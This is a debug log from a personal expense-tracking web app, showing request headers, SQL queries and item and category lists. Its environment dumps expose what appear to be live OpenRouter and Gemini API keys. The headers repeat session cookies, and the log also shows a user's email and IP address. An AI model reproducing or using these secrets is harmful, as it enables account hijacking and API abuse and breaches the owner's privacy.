    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'cross-site',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'your_r_git.sid=s%3A4yHa_EQIOXPr7JrvZ78y0MJfx3zB_Jzf.aIHnYU4Zs49T0%2F5NCM8EKRyIl5NqgM5UWBSHii1Mcz8',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2026-02-04T11:56:32.190Z server-connect:router Serving serverConnect /api/masters/get-items
2026-02-04T11:56:32.190Z server-connect:router Serving serverConnect /api/access-control/user-info
2026-02-04T11:56:32.190Z server-connect:app Executing action step identify
2026-02-04T11:56:32.190Z server-connect:app options: { provider: 'security' }
2026-02-04T11:56:32.190Z server-connect:output identity: 1
2026-02-04T11:56:32.191Z server-connect:app Executing action step restrict
2026-02-04T11:56:32.191Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T11:56:32.191Z server-connect:app Executing action step identify
2026-02-04T11:56:32.191Z server-connect:app options: { provider: 'security' }
2026-02-04T11:56:32.191Z server-connect:output identity: 1
2026-02-04T11:56:32.191Z server-connect:app Executing action step restrict
2026-02-04T11:56:32.191Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T11:56:32.191Z server-connect:output restrict: undefined
2026-02-04T11:56:32.191Z server-connect:app Executing action step select
2026-02-04T11:56:32.191Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2026-02-04T11:56:32.193Z server-connect:output restrict: undefined
2026-02-04T11:56:32.193Z server-connect:app Executing action step single
2026-02-04T11:56:32.193Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2026-02-04T11:56:32.197Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2026-02-04T11:56:32.198Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2026-02-04T11:56:58.879Z server-connect:router Serving templateView /collections
2026-02-04T11:56:58.879Z server-connect:app Executing action step identify
2026-02-04T11:56:58.879Z server-connect:app options: { provider: 'security' }
2026-02-04T11:56:58.879Z server-connect:output identity: 1
2026-02-04T11:56:58.879Z server-connect:app Executing action step restrict
2026-02-04T11:56:58.879Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T11:56:58.880Z server-connect:output restrict: undefined
2026-02-04T11:56:58.880Z server-connect:router Render template masters/collections
2026-02-04T11:56:58.880Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Android"',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Mobile Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?1',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/collections',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"2850-vYhtWmaLPPra5IeVa3++XLjoeng"',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3A8%2By%2FY8p4btblzixaim2biA%3D%3D.WS5wcAoT0tmaqViIDnnDq4G0XIbq0b%2FrM6s2bjm1t3yXGcNQ2CBF9iqjNeWTF47t2RZPMG9t1Bt23MmatEloUJMaa67oNQP%2FOcaKJ%2Fza1CoAaB3ae%2FWrapHALZvfQ26U0FEmlwcKi2EpS69wU1AyyUVIpqV%2BgigQXAN1sDqK838%3D.hoKjJbLkeUdB45mDd88SHpxnvXolLaFaxj6vTNJWPg0; your_r_git.sid=s%3A4yHa_EQIOXPr7JrvZ78y0MJfx3zB_Jzf.aIHnYU4Zs49T0%2F5NCM8EKRyIl5NqgM5UWBSHii1Mcz8',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-05T07:13:28.308Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/collections',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/collections',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/collections',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"2850-vYhtWmaLPPra5IeVa3++XLjoeng"',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3A8%2By%2FY8p4btblzixaim2biA%3D%3D.WS5wcAoT0tmaqViIDnnDq4G0XIbq0b%2FrM6s2bjm1t3yXGcNQ2CBF9iqjNeWTF47t2RZPMG9t1Bt23MmatEloUJMaa67oNQP%2FOcaKJ%2Fza1CoAaB3ae%2FWrapHALZvfQ26U0FEmlwcKi2EpS69wU1AyyUVIpqV%2BgigQXAN1sDqK838%3D.hoKjJbLkeUdB45mDd88SHpxnvXolLaFaxj6vTNJWPg0; your_r_git.sid=s%3A4yHa_EQIOXPr7JrvZ78y0MJfx3zB_Jzf.aIHnYU4Zs49T0%2F5NCM8EKRyIl5NqgM5UWBSHii1Mcz8',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2026-02-04T11:56:59.187Z server-connect:router Serving serverConnect /api/masters/collections/collection-category
2026-02-04T11:56:59.187Z server-connect:router Serving serverConnect /api/masters/collections/get-collections
2026-02-04T11:56:59.188Z server-connect:app Executing action step identify
2026-02-04T11:56:59.188Z server-connect:app options: { provider: 'security' }
2026-02-04T11:56:59.188Z server-connect:output identity: 1
2026-02-04T11:56:59.188Z server-connect:app Executing action step restrict
2026-02-04T11:56:59.188Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T11:56:59.188Z server-connect:app Executing action step identify
2026-02-04T11:56:59.188Z server-connect:app options: { provider: 'security' }
2026-02-04T11:56:59.188Z server-connect:output identity: 1
2026-02-04T11:56:59.188Z server-connect:app Executing action step restrict
2026-02-04T11:56:59.188Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T11:56:59.189Z server-connect:output restrict: undefined
2026-02-04T11:56:59.189Z server-connect:app Executing action step select
2026-02-04T11:56:59.189Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'collection_type' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `name` from `collection_type` where `collection_type`.`deleted` = ?'
  }
}
2026-02-04T11:56:59.189Z server-connect:output restrict: undefined
2026-02-04T11:56:59.189Z server-connect:app Executing action step paged
2026-02-04T11:56:59.189Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object], [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `collections`.`name`, `collections`.`id`, `collections`.`collectiontype_id`, `collection_type`.`name` as `collection_type` from `collections` inner join `collection_type` on `collection_type`.`id` = `collections`.`collectiontype_id` where (`collections`.`name` like ? or `collection_type`.`name` like ?) and (`collections`.`collectiontype_id` = ?)',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    }
  }
}
2026-02-04T11:56:59.190Z server-connect:output list: [
  { id: 1, name: 'Unit' },
  { id: 2, name: 'Transaction Type' },
  { id: 3, name: 'Account Type' },
  { id: 4, name: 'Loan Mode' },
  { id: 5, name: 'Account Transactions' },
  { id: 6, name: 'Trading Platform' },
  { id: 7, name: 'Loan Type' },
  { id: 8, name: 'Supplement Brand' },
  { id: 9, name: 'Diecast Brand' },
  { id: 10, name: 'Diecast Series' },
  { id: 11, name: 'Vehicle Brand' }
]
2026-02-04T11:56:59.191Z server-connect:output records: {
  offset: 0,
  limit: 25,
  total: 190,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 175 },
    current: 1,
    total: 8
  },
  data: [
    {
      name: 'Account Deposit',
      id: 19,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Salary Credit',
      id: 20,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'ATM Withdrawal',
      id: 21,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Account Transfer',
      id: 22,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Credit Card Payment',
      id: 25,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Card Swipe',
      id: 26,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Direct Payment',
      id: 38,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Auto Debit',
      id: 39,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Savings',
      id: 14,
      collectiontype_id: 3,
      collection_type: 'Account Type'
    },
    {
      name: 'Current',
      id: 15,
      collectiontype_id: 3,
      collection_type: 'Account Type'
    },
    {
      name: 'Petty Cash',
      id: 18,
      collectiontype_id: 3,
      collection_type: 'Account Type'
    },
    {
      name: 'Credit Card',
      id: 24,
      collectiontype_id: 3,
      collection_type: 'Account Type'
    },
    {
      name: 'Demat',
      id: 43,
      collectiontype_id: 3,
      collection_type: 'Account Type'
    },
    {
      name: 'Hotwheels',
      id: 71,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'Majorette',
      id: 72,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'Matchbox',
      id: 73,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'Bburago',
      id: 74,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'Maisto',
      id: 143,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'CCA',
      id: 158,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'Jams Toys',
      id: 191,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'Mainline',
      id: 75,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Premium',
      id: 76,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Treasure Hunt',
      id: 77,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Super Treasure Hunt',
      id: 78,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Car Culture',
      id: 79,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    }
  ]
}
2026-02-04T11:57:00.738Z server-connect:router Serving templateView /expense/list
2026-02-04T11:57:00.738Z server-connect:app Executing action step identify
2026-02-04T11:57:00.739Z server-connect:app options: { provider: 'security' }
2026-02-04T11:57:00.739Z server-connect:output identity: 1
2026-02-04T11:57:00.739Z server-connect:app Executing action step restrict
2026-02-04T11:57:00.739Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T11:57:00.739Z server-connect:output restrict: undefined
2026-02-04T11:57:00.739Z server-connect:router Render template expense/list
2026-02-04T11:57:00.739Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Android"',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Mobile Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?1',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/expense/list',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3A8%2By%2FY8p4btblzixaim2biA%3D%3D.WS5wcAoT0tmaqViIDnnDq4G0XIbq0b%2FrM6s2bjm1t3yXGcNQ2CBF9iqjNeWTF47t2RZPMG9t1Bt23MmatEloUJMaa67oNQP%2FOcaKJ%2Fza1CoAaB3ae%2FWrapHALZvfQ26U0FEmlwcKi2EpS69wU1AyyUVIpqV%2BgigQXAN1sDqK838%3D.hoKjJbLkeUdB45mDd88SHpxnvXolLaFaxj6vTNJWPg0; your_r_git.sid=s%3A4yHa_EQIOXPr7JrvZ78y0MJfx3zB_Jzf.aIHnYU4Zs49T0%2F5NCM8EKRyIl5NqgM5UWBSHii1Mcz8',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-05T07:13:28.308Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/expense/list',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/expense/list',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/expense/list',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=1, i',
